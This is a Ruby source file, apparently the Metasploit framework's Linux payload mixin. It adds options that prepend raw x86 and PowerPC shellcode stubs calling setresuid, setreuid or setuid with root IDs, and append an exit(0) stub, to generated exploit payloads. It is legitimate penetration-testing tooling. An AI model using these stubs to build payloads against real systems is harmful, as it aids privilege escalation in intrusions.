158 lines
4.8 KiB
Ruby
158 lines
4.8 KiB
Ruby
require 'msf/core'
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###
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#
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# This class is here to implement advanced features for linux-based
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# payloads. Linux payloads are expected to include this module if
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# they want to support these features.
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#
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###
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module Msf::Payload::Linux
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#
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# This mixin is chained within payloads that target the Linux platform.
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# It provides special prepends, to support things like chroot and setuid.
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#
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def initialize(info = {})
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ret = super(info)
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register_advanced_options(
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[
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Msf::OptBool.new('PrependSetresuid',
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[
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false,
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"Prepend a stub that executes the setresuid(0, 0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetreuid',
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[
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false,
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"Prepend a stub that executes the setreuid(0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetuid',
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[
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false,
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"Prepend a stub that executes the setuid(0) system call",
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"false"
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]
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),
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Msf::OptBool.new('AppendExit',
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[
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false,
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"Append a stub that executes the exit(0) system call",
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"false"
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]
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),
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], Msf::Payload::Linux)
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ret
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end
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#
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# Overload the generate() call to prefix our stubs
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#
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def generate(*args)
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# Call the real generator to get the payload
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buf = super(*args)
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pre = ''
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app = ''
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test_arch = [ *(self.arch) ]
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# Handle all x86 code here
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if (test_arch.include?(ARCH_X86))
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# Prepend
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if (datastore['PrependSetresuid'])
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# setresuid(0, 0, 0)
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pre << "\x31\xc9" +# xorl %ecx,%ecx #
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"\x31\xdb" +# xorl %ebx,%ebx #
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"\xf7\xe3" +# mull %ebx #
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"\xb0\xa4" +# movb $0xa4,%al #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetreuid'])
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# setreuid(0, 0)
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pre << "\x31\xc9" +# xorl %ecx,%ecx #
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"\x31\xdb" +# xorl %ebx,%ebx #
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"\x6a\x46" +# pushl $0x46 #
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"\x58" +# popl %eax #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetuid'])
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# setuid(0)
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pre << "\x31\xdb" +# xorl %ebx,%ebx #
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"\x6a\x17" +# pushl $0x17 #
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"\x58" +# popl %eax #
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"\xcd\x80" # int $0x80 #
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end
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# Append
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if (datastore['AppendExit'])
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# exit(0)
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app << "\x31\xdb" +# xorl %ebx,%ebx #
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"\x6a\x01" +# pushl $0x01 #
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"\x58" +# popl %eax #
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"\xcd\x80" # int $0x80 #
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end
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end
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# Handle all Power/CBEA code here
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if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
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# Prepend
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if (datastore['PrependSetresuid'])
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# setresuid(0, 0, 0)
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pre << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\xa5\x2a\x78" +# xor r5,r5,r5 #
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"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\xa5" +# addi r0,r31,-347 #
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"\x44\xff\xff\x02" # sc #
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end
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if (datastore['PrependSetreuid'])
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# setreuid(0, 0)
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pre << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\x47" +# addi r0,r31,-441 #
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"\x44\xff\xff\x02" # sc #
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end
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if (datastore['PrependSetuid'])
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# setuid(0)
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pre << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\x18" +# addi r0,r31,-488 #
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"\x44\xff\xff\x02" # sc #
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end
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# Append
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if (datastore['AppendExit'])
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# exit(0)
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app << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
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"\x44\xff\xff\x02" # sc #
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end
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end
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return (pre + buf + app)
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end
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end
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